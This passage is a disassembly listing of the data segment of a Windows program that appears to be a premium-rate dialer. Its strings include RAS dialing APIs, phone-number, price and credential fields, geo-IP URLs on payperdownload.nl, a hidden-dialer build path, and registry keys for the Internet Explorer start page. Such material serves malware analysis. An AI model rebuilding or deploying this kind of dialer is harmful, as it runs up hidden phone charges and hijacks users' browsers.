					; sub_4039C0:loc_403CAAo ...
; char ProcName[]
ProcName	db 'UnRegisterTypeLib',0 ; DATA XREF: sub_404A70+159o
		align 4
; char LibFileName[]
LibFileName	db 'oleaut32.dll',0     ; DATA XREF: sub_404A70+148o
		align 4
; char a_tlb[]
a_tlb		db '.tlb',0             ; DATA XREF: sub_404C30:loc_404D37o
		align 10h
; LPCSTR off_40F260
off_40F260	dd offset aSoftwareMicr_0 ; DATA XREF: sub_4039C0+655r
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd offset aDesktop	; "Desktop"
; LPCSTR off_40F268
off_40F268	dd offset aStartMenu	; DATA XREF: sub_4039C0+64Fr
					; "Start Menu"
		dd offset aSoftwareMicros ; "Software\\Microsoft\\Internet Explorer\\Ma"...
		dd offset aStartPage	; "Start Page"
; LPCSTR lpSubKey
lpSubKey	dd offset aRemoteaccess	; DATA XREF: sub_407EC0:loc_408108r
					; sub_4081B0+12r ...
					; "RemoteAccess"
; LPCSTR lpValueName
lpValueName	dd offset aDefault	; DATA XREF: sub_407EC0+172r
					; sub_407EC0+19Cr ...
					; "Default"
; LPCSTR off_40F27C
off_40F27C	dd offset aInternetprofil ; DATA XREF: sub_407EC0:loc_40809Br
					; sub_407EC0+200r ...
					; "InternetProfile"
; LPCSTR off_40F280
off_40F280	dd offset aSoftwareMicr_1 ; DATA XREF: sub_4039C0+2ACr
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
; LPCSTR off_40F284
off_40F284	dd offset aProgramfilesdi ; DATA XREF: sub_4039C0+2A6r
					; "ProgramFilesDir"
; LPCSTR lpString
lpString	dd offset aDelsim	; DATA XREF: sub_4039C0+391r
					; "delsim"
; LPCSTR lpFile
lpFile		dd offset aHttpWww_traffi ; DATA XREF: sub_405C90+FDr
					; "http://www.trafficjam.nl/?failed=initia"...
aHttpWww_traffi	db 'http://www.trafficjam.nl/?failed=initialize',0
					; DATA XREF: .data:lpFileo
aDelsim		db 'delsim',0           ; DATA XREF: .data:lpStringo
		align 4
aProgramfilesdi	db 'ProgramFilesDir',0  ; DATA XREF: .data:off_40F284o
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: .data:off_40F280o
		align 10h
aInternetprofil	db 'InternetProfile',0  ; DATA XREF: .data:off_40F27Co
aDefault	db 'Default',0          ; DATA XREF: .data:lpValueNameo
aRemoteaccess	db 'RemoteAccess',0     ; DATA XREF: .data:lpSubKeyo
		align 4
aStartPage	db 'Start Page',0       ; DATA XREF: .data:0040F270o
		align 4
aSoftwareMicros	db 'Software\Microsoft\Internet Explorer\Main',0
					; DATA XREF: .data:0040F26Co
		align 10h
aStartMenu	db 'Start Menu',0       ; DATA XREF: .data:off_40F268o
		align 4
aDesktop	db 'Desktop',0          ; DATA XREF: .data:0040F264o
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
					; DATA XREF: .data:off_40F260o
		align 4
byte_40F3B8	db 1			; DATA XREF: sub_4064E0:loc_40650Cr
					; sub_4064E0+4Bw
		align 4
; char Operation[]
Operation	db 'open',0             ; DATA XREF: sub_404FF0+Bo
		align 4
; char aLasterror[]
aLasterror	db '&lasterror=',0      ; DATA XREF: sub_4051A0+2E1o
					; sub_4051A0:loc_40548Eo ...
; char aLinenumber[]
aLinenumber	db '&linenumber=',0     ; DATA XREF: sub_4051A0+292o
					; sub_4051A0:loc_40543Fo ...
		align 10h
; char aErrorFatalFile[]
aErrorFatalFile	db 'error=fatal&filename=',0 ; DATA XREF: sub_4051A0+243o
					; sub_4051A0:loc_4053F0o ...
		align 4
asc_40F3F8:				; DATA XREF: sub_4051A0+202o
		unicode	0, <&>,0
; char String[]
String		db '?',0                ; DATA XREF: sub_4051A0+1F9o
		align 10h
; char aResourceLdNotF[]
aResourceLdNotF	db 'resource %ld not found',0 ; DATA XREF: sub_4055A0+37o
		align 4
; char aIsdn[]
aIsdn		db 'isdn',0             ; DATA XREF: sub_405C90+627o
					; sub_409720+28o
		align 10h
; char aModem[]
aModem		db 'modem',0            ; DATA XREF: sub_405C90+617o
					; sub_409720+1Co
		align 4
; char Mem[]
Mem		db 'D:\Work\Splendo\Dialer\working\dialer hidden_ip2code_code2nrs_uni'
					; DATA XREF: sub_405C90+4E0o
		db 'nst\InternetDialer\C++ Sources\Dialer\BsdMainDlg.cpp',0
		align 10h
aXx		db 'xx',0               ; DATA XREF: sub_405C90+174o
					; sub_406720+32Co ...
		align 4
; char aS[]
aS		db '%s',0               ; DATA XREF: sub_406670+5Bo
		align 4
; char aDialDS[]
aDialDS		db 'Dial: %d - %s',0    ; DATA XREF: sub_406720+244o
		align 4
; char aUpdateentryDS[]
aUpdateentryDS	db 'UpdateEntry: %d - %s',0 ; DATA XREF: sub_406720+1E3o
		align 10h
; char aCc[]
aCc		db 'cc',0               ; DATA XREF: sub_406E60+8DEo
					; sub_408980+1B6o ...
		align 4
; char aPrice2[]
aPrice2		db 'price2',0           ; DATA XREF: sub_406E60+8C7o
					; sub_407820+562o
		align 4
; char aPrice1[]
aPrice1		db 'price1',0           ; DATA XREF: sub_406E60+8ADo
					; sub_407820+5D7o
		align 4
; char aPhonenumber2[]
aPhonenumber2	db 'phonenumber2',0     ; DATA XREF: sub_406E60+893o
					; sub_407820+548o ...
		align 4
; char aPhonenumber1[]
aPhonenumber1	db 'phonenumber1',0     ; DATA XREF: sub_406E60+879o
					; sub_407820+5BDo ...
		align 4
aXx_0		db 'XX',0               ; DATA XREF: sub_406E60+559o
		align 4
aCountrycode	db 'countrycode',0      ; DATA XREF: sub_406E60+289o
aPrice		db 'price',0            ; DATA XREF: sub_406E60+238o
					; sub_407820+252o
		align 4
aRealnumber	db 'realnumber',0       ; DATA XREF: sub_406E60+1EAo
					; sub_407820+21Eo
		align 4
aCall		db 'call',0             ; DATA XREF: sub_406E60+1B9o
					; sub_407820+1EDo
		align 10h
aCallrecords_0	db '/callrecords',0     ; DATA XREF: sub_406E60+19Co
					; sub_407820+1D0o
		align 10h
aCallrecords	db 'callrecords',0      ; DATA XREF: sub_406E60+176o
					; sub_407820+1AAo
aHttpPrs_payp_0	db 'http://prs.payperdownload.nl/radius/dialer_admin/geoip.asp',0
					; DATA XREF: sub_406E60+74o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_406E60+56o
					; sub_407820+56o
aHttpPrs_payper	db 'http://prs.payperdownload.nl',0 ; DATA XREF: sub_406E60+18o
					; sub_406E60+3Fo ...
		align 4
aHttpPrs_payp_1	db 'http://prs.payperdownload.nl/radius/dialer_admin/geoip2.asp?cc=',0
					; DATA XREF: sub_407820+6Eo
; char aPrefix[]
aPrefix		db 'Prefix',0           ; DATA XREF: sub_4084F0+1B9o
					; sub_4086F0+1B6o ...
		align 4
; char a2_0[]
a2_0		db '2.0',0              ; DATA XREF: sub_408BE0+6o
; char aConnecttime[]
aConnecttime	db 'connecttime',0      ; DATA XREF: sub_408FC0+135o
					; sub_409190+F7o
; char aPassword2[]
aPassword2	db 'password2',0        ; DATA XREF: sub_408FC0+E9o
					; sub_409190+DDo
		align 10h
; char aPassword1[]
aPassword1	db 'password1',0        ; DATA XREF: sub_408FC0+D0o
					; sub_409190+C4o
		align 4
; char aUsername2[]
aUsername2	db 'username2',0        ; DATA XREF: sub_408FC0+B3o
					; sub_409190+ABo
		align 4
; char aUsername1[]
aUsername1	db 'username1',0        ; DATA XREF: sub_408FC0+96o
					; sub_409190+92o
		align 4
; char aSerial[]
aSerial		db 'serial',0           ; DATA XREF: sub_408FC0+79o
					; sub_409190+75o
		align 4
; char cbData[]
cbData		db 'version',0          ; DATA XREF: sub_408FC0+54o
					; sub_409190+5Ao
; char aRassetentrydia[]
aRassetentrydia	db 'RasSetEntryDialParamsA',0 ; DATA XREF: sub_409520+A6o
		align 4
; char aRasgetconnects[]
aRasgetconnects	db 'RasGetConnectStatusA',0 ; DATA XREF: sub_409520+9Co
		align 4
; char aRasenumconnect[]
aRasenumconnect	db 'RasEnumConnectionsA',0 ; DATA XREF: sub_409520+86o
; char aRashangupa[]
aRashangupa	db 'RasHangUpA',0       ; DATA XREF: sub_409520+76o
		align 4
; char aRassetentrypro[]
aRassetentrypro	db 'RasSetEntryPropertiesA',0 ; DATA XREF: sub_409520+6Co
		align 4
; char aRasgetentrypro[]
aRasgetentrypro	db 'RasGetEntryPropertiesA',0 ; DATA XREF: sub_409520+56o
		align 4
; char aRasgeterrorstr[]
aRasgeterrorstr	db 'RasGetErrorStringA',0 ; DATA XREF: sub_409520+46o
		align 4
; char aRasdiala[]
aRasdiala	db 'RasDialA',0         ; DATA XREF: sub_409520+3Co
		align 4
; char aRasenumdevices[]
aRasenumdevices	db 'RasEnumDevicesA',0  ; DATA XREF: sub_409520+2Co
; char aRasapi32_dll[]
aRasapi32_dll	db 'RASAPI32.DLL',0     ; DATA XREF: sub_409520:loc_409530o
		align 4
; char asc_40F704[]
asc_40F704:				; DATA XREF: sub_409840+14Ao
		unicode	0, < >,0
; char asc_40F708[]
asc_40F708:				; DATA XREF: sub_409BD0+27o
		unicode	0, <,>,0
; char aShgetfolderpat[]
aShgetfolderpat	db 'SHGetFolderPathA',0 ; DATA XREF: sub_40A620:loc_40A642o
		align 10h
; char aShfolder_dll[]
aShfolder_dll	db 'SHFolder.dll',0     ; DATA XREF: sub_40A680+37o
		align 10h
; char aShell32_dll[]
aShell32_dll	db 'Shell32.dll',0      ; DATA XREF: sub_40A680+1Bo
; char a2x[]
a2x		db '%%%2x',0            ; DATA XREF: sub_40AA70+66o
		align 10h
dword_40F750	dd 1			; DATA XREF: sub_40B575+Co
dword_40F754	dd 16h			; DATA XREF: sub_40B575:loc_40B5AAr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_40F8B8	dd offset word_40F8C2	; DATA XREF: sub_40B283:loc_40B2B3r
					; sub_40B283:loc_40B370r ...
		dd offset word_40F8C2
		db 2 dup(0)
word_40F8C2	dw 20h			; DATA XREF: .data:off_40F8B8o
					; .data:0040F8BCo
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_40FAC4	dd 1			; DATA XREF: sub_40B283:loc_40B29Br
					; sub_40B283:loc_40B358r ...
		dd 2Eh,	1
dword_40FAD0	dd 19930520h, 3	dup(0)	; DATA XREF: .text:0040BC2Bo
					; sub_40BC32+2o
dword_40FAE0	dd 0			; DATA XREF: sub_4010C0+31o
					; sub_4010C0+36o ...
		align 8
; HINSTANCE hInstance
hInstance	dd 0			; DATA XREF: sub_404DC0+3Br
		dd 3 dup(0)
; HANDLE hHeap
hHeap		dd 0			; DATA XREF: sub_4010C0+9Bw
					; sub_4010C0:loc_40118Cr ...
		dd 6 dup(0)
; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection	_RTL_CRITICAL_SECTION <0> ; DATA XREF: sub_404DC0+Co
					; sub_404DC0+1Fo ...
		dd 6 dup(0)
dword_40FB44	dd 0			; DATA XREF: sub_4010C0+4Aw
dword_40FB48	dd 0			; DATA XREF: sub_404DC0+1Ar
					; sub_404DC0+27w ...
		align 10h
dword_40FB50	dd 0			; DATA XREF: sub_4010C0+21w
dword_40FB54	dd 0			; DATA XREF: sub_4010C0+D4w
					; sub_4010C0+101r ...
; DWORD	dwFlags
dwFlags		dd 0			; DATA XREF: sub_4010C0+EAw
					; sub_4010C0+F6r ...
dword_40FB5C	dd 0			; DATA XREF: sub_40AE50:loc_40AE70r
					; sub_40AE50+28w
		dd 0
dword_40FB64	dd 0			; DATA XREF: sub_4010C0+12Fw
		align 10h
dword_40FB70	dd 0Ah dup(0)		; DATA XREF: sub_4010C0+2Co
dword_40FB98	dd 0			; DATA XREF: sub_4010C0+73w
dword_40FB9C	dd 0			; DATA XREF: sub_4010C0+7Fw
dword_40FBA0	dd 0			; DATA XREF: sub_4010C0+84w
dword_40FBA4	dd 0			; DATA XREF: sub_4010C0+8Aw
dword_40FBA8	dd 0			; DATA XREF: sub_4010C0+36w
					; sub_4010C0+195r ...
		align 10h
dword_40FBB0	dd 0			; DATA XREF: sub_402FF0+F1w
					; sub_402FF0+116o
word_40FBB4	dw 0			; DATA XREF: sub_402FF0+DEw
					; sub_402FF0:loc_403174r
		align 4
dword_40FBB8	dd 0			; DATA XREF: sub_402FF0+F6w
word_40FBBC	dw 0			; DATA XREF: sub_402FF0+FCw
		align 10h
dword_40FBC0	dd 0			; DATA XREF: sub_402FF0+105w
word_40FBC4	dw 0			; DATA XREF: sub_402FF0+10Bw
		align 4
dword_40FBC8	dd 0			; DATA XREF: sub_402FF0+133o
					; sub_405830+25Br ...
; LPVOID lpMem
lpMem		dd 0			; DATA XREF: sub_4010C0+3C2w
					; sub_4010C0+3CEr ...
dword_40FBD0	dd 0			; DATA XREF: sub_406720:loc_40699Aw
					; sub_406720+2BFr ...
; LPCSTR dword_40FBD4
dword_40FBD4	dd 0			; DATA XREF: sub_405500r
					; sub_405500+17w ...
; char dword_40FBD8[]
dword_40FBD8	dd 0			; DATA XREF: sub_405830+282o
					; sub_409840+77o ...
dword_40FBDC	dd 0			; DATA XREF: sub_409CE0+6Dw
					; .text:00409D8Ar
dword_40FBE0	dd 0			; DATA XREF: sub_40B283+1B9w
					; sub_40B575+2Aw ...
dword_40FBE4	dd 0			; DATA XREF: sub_40B575+6w
		dd 6 dup(0)
		dd 8 dup(?)
byte_40FC20	db ?			; DATA XREF: sub_40AFB0+2Dw
		align 4
dword_40FC24	dd ?			; DATA XREF: sub_40AFB0+27w
dword_40FC28	dd ?			; DATA XREF: sub_40AFB0+4r
					; sub_40AFB0+8Bw
		align 10h
dword_40FC30	dd ?			; DATA XREF: sub_40B4C8+1Er
					; sub_40B50B+27w
dword_40FC34	dd ?			; DATA XREF: sub_40B4C8+27r
					; sub_40B50B+2Cw
dword_40FC38	dd ?			; DATA XREF: sub_40B7C4+28r
					; sub_40B7C4+4Cw ...
		dd 2 dup(?)
; LCID Locale
Locale		dd ?			; DATA XREF: sub_40B5DC+4r
					; sub_40B5DC+9Fr ...
		dd 3 dup(?)
dword_40FC54	dd ?			; DATA XREF: sub_40B7C4+C0r
					; sub_40BA13+A6r
		dd ?
dword_40FC5C	dd ?			; DATA XREF: sub_40BA13+26r
					; sub_40BA13:loc_40BA7Dw
byte_40FC60	db ?			; DATA XREF: sub_402FF0:loc_4030B7r
					; sub_402FF0+E7w
		align 4
dword_40FC64	dd ?			; DATA XREF: sub_40AFB0+3Er
dword_40FC68	dd ?			; DATA XREF: sub_40AFB0+35r
					; sub_40AFB0+57r
_data		ends


		end start